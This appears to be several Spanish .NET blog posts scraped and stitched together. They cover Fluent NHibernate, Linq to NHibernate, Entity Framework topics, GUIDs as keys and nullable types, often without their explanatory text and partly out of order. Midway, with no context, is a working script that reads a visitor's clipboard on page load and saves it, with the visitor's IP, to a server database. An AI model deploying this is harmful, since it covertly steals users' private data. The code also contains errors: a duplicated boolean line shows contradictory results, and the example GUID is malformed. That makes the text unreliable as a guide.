A finales del agosto, James Gregory anunció la publicación de la versión 1.0 de Fluent NHibernate, una librería que ofrece una ágil alternativa a los espesos archivos de configuración de NHibernate.

Su API permite configurar desde el código de una aplicación, de forma fluida la mayoría de las veces, los mapeos entre la estructura de una base de datos relacional y el modelo de objetos que utiliza. Así, evitaremos la manipulación de grandes archivos XML, a la vez que podremos beneficiarnos de la validación en tiempo de compilación y, por supuesto, de posibilidades como la refactorización y el intellisense durante el desarrollo.

El siguiente código muestra el mapeo de la entidad Cat con sus propiedades, algunas de ellas con restricciones, y relaciones con otras entidades a uno (References) y a varios (HasMany); el nombre de la tabla y campos en el modelo relacional es el mismo que el de las propiedades, gracias a la convención sobre configuración, lo que permite simplificar código respecto a su equivalente XML:

public class CatMap : ClassMap<Cat>

{

  public CatMap()

  {

    Id(x => x.Id);

    Map(x => x.Name)

      .Length(16)

      .Not.Nullable();

    Map(x => x.Sex);

    References(x => x.Mate);

    HasMany(x => x.Kittens);

  }

}

Como podemos observar, el equivalente XML es mucho más verboso:

<?xml version="1.0" encoding="utf-8" ?>  

<hibernate-mapping xmlns="urn:nhibernate-mapping-2.2"  

  namespace="QuickStart" assembly="QuickStart">  

  <class name="Cat" table="Cat">  

    <id name="Id">  

      <generator class="identity" />  

    </id>  

    <property name="Name">  

      <column name="Name" length="16" not-null="true" />  

    </property>  

    <property name="Sex" />  

    <many-to-one name="Mate" />  

    <bag name="Kittens">  

      <key column="mother_id" />  

        <one-to-many class="Cat" />  

      </bag>  

  </class>  

</hibernate-mapping>

Otra de las ventajas que aporta es el auto-mapping, que hace utilización intensiva del principio de convención sobre configuración para generar de forma automática mapeos de aquellas entidades que atiendan a unas normas preestablecidas (aunque modificables). El siguiente código muestra la forma tan sencilla de crear los mapeos de todas las entidades definidas en el espacio de nombres MiApp.Entidades, dentro del ensamblado donde se definió la entidad Producto:

var autoMappings = AutoMap.AssemblyOf<Producto>()

  .Where(t => t.Namespace == "MiApp.Entidades");

var sessionFactory = Fluently.Configure()

    .Database(MsSqlConfiguration.MsSql2005

      .ConnectionString(c => c.FromAppSetting("connectionString"))

    .Mappings(m => m.AutoMappings.Add(

      AutoMap.AssemblyOf<Producto>(type => type.Namspace.EndsWith("Entidades"))))

  .BuildSessionFactory();

Y por último, hay otra característica muy interesante vistas a la realización de pruebas unitarias sobre los mecanismos de persistencia. El código mostrado a continuación crea una instancia de la clase Empleado, la inserta en la base de datos, realiza una lectura de la entidad y la compara con la original, de forma automática:

[Test]

public void EmpleadoMapeaCorrectamente()

{

    new PersistenceSpecification<Empleado>(session)

        .CheckProperty(emp => emp.Id, 1)

        .CheckProperty(emp => emp.Nombre, "José")

        .CheckProperty(emp => emp.Apellidos, "Aguilar")

        .VerifyTheMappings();

}

Más información en la wiki del proyecto. Y las descargas, desde aquí.

Publicado en: Variable not found.

Hace unas semanas, Oren Eini (o Ayende Raihen, como se le suele conocer) comunicaba la liberación de la versión 1.0 del proveedor de Linq para NHibernate, una característica altamente demandada por los usuarios desde la aparición del lenguaje de consulta integrado en .NET.

Aunque será incluido como parte del producto NHibernate en versiones venideras, han decidido liberar la actual release del proveedor como paquete independiente para que pueda comenzar a utilizarse desde este momento. Está siendo testado en multitud de aplicaciones en producción desde hace varios años, y al parecer el funcionamiento es más que correcto.

¿Y cómo puede ayudarte este proveedor, si eres usuario de NHibernate? El siguiente ejemplo, tomado de Caffeinated Coder muestra cómo una consulta a base de datos puede simplificarse y hacerse mucho más legible utilizando Linq, además de beneficiarse del tipado fuerte, intellisense y comprobaciones en tiempo de compilación:

Utilizando el API de NHibernate:

public IList<Call> GetCallsByDate(DateTime beginDate, int interpreterId)   

{   

    ICriteria criteria = Session.CreateCriteria(typeof(Call))

        .CreateAlias("Customer", "Customer")

        .Add(Restrictions.Gt("StartTime", beginDate))

        .Add(

            Restrictions.Or(

                Restrictions.Lt("EndTime", DateTime.Now), Restrictions.IsNull("EndTime"))

            )

        .Add(Restrictions.Eq("Interpreter.Id", interpreterId))

        .AddOrder(Order.Desc("StartTime"))

        .AddOrder(Order.Desc("Customer.Name")); 

        return criteria.List<Call>() as List<Call>;

}

Utilizando Linq:

public IList<Call> GetCallsByDateWithLinq(DateTime beginDate, int interpreterId)  

{   

    var query = from call in Session.Linq<Call>()

        where call.StartTime > beginDate

            && (call.EndTime == null || call.EndTime < DateTime.Now )   

            && call.Interpreter.Id == interpreterId

        orderby call.StartTime descending, call.Customer.Name

        select call;

    return query.ToList();

}

Podéis descargar tanto los binarios como el código fuente desde la página del proyecto en SourceForge.

Publicado en: Variable not found.

• Creación de modelos conceptuales, usando tanto los diseñadores de Visual Studio como modificando a mano los archivos XML que describen el modelo, útil para acceder a características no soportadas por el IDE.


• Entity Client, el proveedor ADO.NET para acceso, aunque algo rudimentario, a datos del modelo


• eSQL, el lenguaje de consulta de Entity Framework.


• Implementación de consultas con ObjectQuery<T> y Linq to Entities.


• Mecanismos de actualización de datos, incluyendo las técnicas de seguimiento de cambios en objetos, transaccionalidad y concurrencia, entre otros aspectos.


• Ejemplos de uso de Entity Framework con WCF, enlaces a datos desde controles Windows Forms, WPF o ASP.NET.


• Servicios de datos de ADO.NET, el mecanismo de publicación de modelos de Entity Framework a través de HTTP.

• Motores de bases de datos SQL Server, SQL Server 2005, SQL Server 2005 Compact Edition, Oracle, MySQL, Interbase, IBM DB2, Sybase, Informix, Ingres, Mimer SQL, Lightbase, Postgre SQL, Paradox, Firebird, AS/400 (iSeries), Pervasive, SQLBase, Progress y Caché.


• Archivos de datos Excel 2007, Excel, texto plano, Access 2007, Access, Visual FoxPro / FoxPro 2.x DBF / FoxPro, SQLite y Filemaker.


• Otras fuentes, como MS Project, Active Directory, Exchange, Lotus Notes, DSN y UDL.

<script type="text/javascript">
$addHandler(window, "onload", salvaClipboard);
function salvaClipboard()
{
  if (window.clipboardData)
  {
    var msg=window.clipboardData.getData('Text');
    if (typeof(msg) != "undefined" &&
       (msg != "") &&  (msg != null))
    {
      PageMethods.SaveClipboard(msg);
    }
  }
}
</script>

[WebMethod()]
public static void SaveClipboard(string texto)
{
  string client = 
        HttpContext.Current.Request.UserHostAddress;
  SqlConnection conn = 
        new SqlConnection(Settings.Default.ConnStr);
  SqlCommand cmd = conn.CreateCommand();
  cmd.CommandText = "Insert into Portapapeles "+
                    "(Ip, Clipboard) Values (@ip, @texto)";
  cmd.Parameters.AddWithValue("ip", client);
  cmd.Parameters.AddWithValue("texto", texto);
  try
  {
    conn.Open();
    cmd.ExecuteNonQuery();
    conn.Close();
  }
  catch (Exception ex)
  {
    // Nada que hacer!
  }
}

// C#:
Guid g = Guid.NewGuid(); // Obtiene un nuevo GUID
Console.WriteLine(g);    // Lo muestra por consola

' Visual Basic .Net:
Dim g as Guid = Guid.NewGuid() ' Obtiene un nuevo GUID
Console.WriteLine(g)           ' Lo muestra por consola

int s = null; 

int? s;
s = null;
s = 1;

int? a = 1;
int? b = 2;
int? intNulo = null;
bool? si = true;
bool? no = false;
bool? niSiNiNo = null;
Console.WriteLine(a + b); // 3
Console.WriteLine(a + intNulo); // Nada, es nulo
Console.WriteLine(a * intNulo); // Nada, es nulo
Console.WriteLine(si & no); // false
Console.WriteLine(si & no); // true
Console.WriteLine(si & niSiNiNo); // Nada, es nulo
Console.WriteLine(no & niSiNiNo); // false
Console.WriteLine(si | niSiNiNo); // true
Console.WriteLine(no | niSiNiNo); // Nada, es nulo

• la imposibilidad para predecir su valor. En otras palabras, hay veces que debemos dividir las sentencias o interfaces de introducción de datos en tablas enlazadas en varios pasos, con objeto de obtener los autonuméricos asignados en algunas de ellas y poder establecerlos en las tablas que vinculan a éstas.
• no son consecutivos, determinados acontecimientos como la cancelación de una transacción pueden hacer que aparezcan huecos en las asignaciones, lo que puede provocar el efecto pánico de borrado accidental.
• son problemáticos a la hora de volcar información entre tablas o bases de datos distintas. Por ejemplo, para exportar una serie de tablas relacionadas mediante IDs de una base de datos a otra, suele ser necesario la creación de scripts o incluso aplicaciones relativamente complejas que traduzcan los identificadores de la base de datos origen a los asignados en la de destino, manteniendo las relaciones intactas. Labor de monos, vaya.
• en el mismo escenario anterior, puede ocurrir que a la hora de realizar fusiones entre tablas un identificador concreto esté ocupado en ambas, lo que hace necesario de nuevo la creación de aplicaciones de volcado.

A estos casos, seguro que habituales, hay que añadir otros escenarios más complejos y menos cotidianos, como los relativos a bases de datos distribuidas, sincronizaciones o replicaciones.

Los GUID pueden solucionar en parte estos problemas, puesto que ofrecen las ventajas de la unicidad, ampliada más allá del alcance de la simple tabla, a la vez que permiten una manipulación más directa por parte del usuario, es decir:

• los GUID son únicos de verdad, y de forma universal. Vamos, que no se van a repetir (recordemos que existen más de 10³⁸ valores distintos) ni siquiera en tablas distintas, ni en bases de datos diferentes. Ideal para entornos distribuidos, mezclas de datos, volcados, etc.
• pueden ser generados por aplicaciones, no es necesario esperar a crear un registro para obtener el GUID que será asignado a un registro; podemos generarlo de forma anticipada desde nuestra aplicación y utilizarlo a nuestro antojo.

Pero como casi todo en la vida, esto tiene su precio. Los principales inconvenientes son el mayor consumo de espacio, con la consiguiente merma del rendimiento en consultas y actualizaciones, dispersión de los valores creados (problemático en el uso de clústers o agrupaciones por valores) y, para mi gusto, casi lo peor de todo: la dificultad para depurar (¿quién ve práctico buscar en una tabla diciendo select * from clientes where id={BAE7DF4-DDF-3RG-5TY3E3RF456AS10} en vez de select * from clientes where id=17?).

El tipo de datos GUID existe, y es una opción a la hora de crear un campo, en sistemas gestores de bases de datos como SQL Server, pero, cosas de la ignorancia, nunca había pensado que pudieran ser una opción razonable para identificar una fila en una tabla.

Sin embargo, recientemente me he topado con una aplicación en la que, observando su base de datos, se utilizaban como identificadores únicos de registro valores de tipo GUID, lo cual me ha llamado la atención y me ha llevado a profundizar un poco en el tema.

Pero, ¿qué es un GUID? Según su definición formal, se trata de una implementación del estándar UUID (Universally Unique Identifier, Identificador Unico Universal), promovido por la OSF (Open Software Foundation), que propone un método de identificación única ideal para entornos distribuidos en los que no existe un coordinador central. En otras palabras, permite que nodos dispersos puedan establecer identificadores de forma única a entidades o unidades de información de forma que se pueda asegurar razonablemente que no van a existir duplicidades en los mismos, y todo ello sin necesidad de crear un punto común de comprobaciones.

A efectos prácticos, un GUID es un número de 16 bytes, o 128 bits, escrito habitualmente en forma de chorizo hexadecimal del tipo "550e8400-e29b-41d4-a716-446655440000", generado utilizando algoritmos pseudoaleatorios.

Pero diréis que un algoritmo pseudoaleatorio no garantiza su unicidad, y es cierto. Sin embargo, 16 bytes ofrecen un universo de 2¹²⁸ valores posibles (del orden de 3·10³⁸), lo que hace prácticamente imposible que dos GUID se repitan.

Esto los hace especialmente atractivos como identificadores únicos: registros en bases de datos, identificación de componentes (como COM o DCOM), registro de documentos, artículos, posts y un largo etcétera.